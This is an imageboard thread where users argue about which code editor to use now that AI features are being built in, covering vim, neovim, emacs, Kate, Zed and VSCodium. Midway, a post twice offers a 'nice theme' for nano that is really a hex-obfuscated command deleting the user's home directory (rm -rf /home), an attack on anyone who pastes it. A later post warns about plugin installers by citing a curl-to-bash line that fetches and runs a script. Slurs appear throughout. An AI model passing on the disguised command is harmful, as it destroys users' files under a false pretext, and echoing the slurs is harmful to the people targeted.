now that every vscode and zed are shoving ai into everything, what's the best code editor?
Kate
>>108257910>vscode and zedwas nano, vim and emacs way too little for you?
>>108257994too annoying to switch between files
>>108257910still vim, never hasnt been vim
>>108257910I don't like ZED, it kinda looks like unfinished product. I mean you need to read the docs to change the settings because they are using just a JSON file. Also they UI looks ugly as hell and you can't use native window decorations.
i'm using my own
>>108257910with windows you need hexedit for?
>>108257910>Sign inanyway i still use vi just like i've always done
>>108257910acmexedit
>>108257910echo
vscodium
>>108257910vim
>>108258016you have to configure it to behave how you want silly goose.
>>108257910Emacs is the best
>>108257910Vs codium is vs code but with less trashthink of it like librewolf vs firefox
>>108258030fpbp
>>108257910there is literally a single toggle you can use to disable all the ai stuff in zed you disingenuous faggot
>>108257910https://www.geany.org/
>>108257910helix
>>108257910STOP SPAMMING YOUR SHITTY AI EDITOR.
>>108257910It's still VSCode. With the killswitch to remove all the AI stuff.
neovim
>>108259918>tfw too stupid to understand how to use Vim
>>108262138my goodness, timmy, are you still using the epilepsy environment? when will you grow out of it? this is literally a symptom of overloaded dopamine receptors
>>108257910Both of those have options to disable anything AI related.I quite like Zed. It feels like vscode but isn't based on Electron.
>>108259994i could also not bother and use something that just werks
>>108259047>I mean you need to read the docs to change the settings because they are using just a JSON filewhen was the last time you have used Zed? there is a settings UI for quite some time now.
>>108257910emacs for autismvim for larpingsublime for just werks
>>108257994>was vim way too little for y...-ACK
>>108257910TECO on TOPS-10
>>108257910>>108258030I think I am retarded because Vim doesn't actually open when I click on it. Not being able to start your own session is gonna be a no for me. Can't use VSCode either because it just spams errors with C# installed
using nevoim with lvim, the theme is like I'm coding like in the 80s. Codex to setup my project
>>108264936>for autismIE real programmers
>>108264973You dont need all those>if you have a tmux/splitting workflowopencode.nvim>if you dontcodecompanion>if you need something that acts like cursoravante
>>108257910Use AI to write you an editor with no AI built into it.
>>108265168font?? it's like computer modern mono but.. modern
use case for neovim?
edit for small edits
>>108257956Do you use VI mode in Kate?
>>108267368Yes. The keybinds are better than VSCode's vim extension, and Vi mode in Kate is easier than figuring out how to use multiple files in vim would be.
>>108267396>>108267368>>108257956use case for vim mode?
>>108267396What have you configured besides the default settings and keybinds overall in Kate for your workflow?I’m thinking of>automatic build and compile>gr (get references)>gd (go to definition)
if nano had a tree selector for files it'd be perfect
>>108267440I only started using it a little bit ago, but so far the only changes I've made apart from vi mode are cosmetic. My current project isn't one that's amenable to in-editor building or debugging, and I typically just use ctrl+click for go-to definition.
>>108267281>>108267432pretending you're a sysadmin
>>108257910the answer stays the same for the last 20 years: emac.
>>108257910nano with a nice theme.nano --colors="`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
nano --colors="`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
>>108267865funny
>>108264973neovim is not vim you drooling retard
>>108257910Just keep using zed. "title_bar": { "show_sign_in": false, }, "disable_ai": true,Or you can use acme like a real programmer.
"title_bar": { "show_sign_in": false, }, "disable_ai": true,
use case of using any of this shit over codium?only one i can think of is if your computer is so shitty you can't run electron programs well
>>108268023My autism does not allow me to run "programs" that are just Google Chrome in a trench coat.
>>108268023the use case is editing text
>>108257910I used vim for 20 years and switched to neovim in the past year or two. It does everything I need it to.
>>108264973>a vim "distribution" a.k.a. reddit neckbeard catuncle middleman selection of random crap from github further obfuscating workings of already bloated and fat-retard-friendly lua api>"recommended" plugins like it's a commercial "appstore" incentivizing to add/consoom/updoot more crap that you have no idea how it works or if it's necessary or redundant>blink.cmp autocompletion that depends on a rust binary>sending contents of all your textfiles to microsoft copilot and giving it shell access for "agentic workflows"i like neovim compared to most other editors, but there is a lot of faggotrysomeone made an "appstore" plugin which is equivalent to one click "curl http://trusmebruh.github.io/install.sh | bash". same with plugins that offer you to download colorschemes.anything you automatically download (updoot) from github via plugin manager or other plugins is a security risk. vimscript and lua interpreter has full shell access. you have to account for the git submodules and binaries too.and lots of things vim/neovim does can be extended with 1-50 loc functions with no third party dependencies... many plugins are just short snippets saved on some student's github that are safer to just copypaste into init.lua.
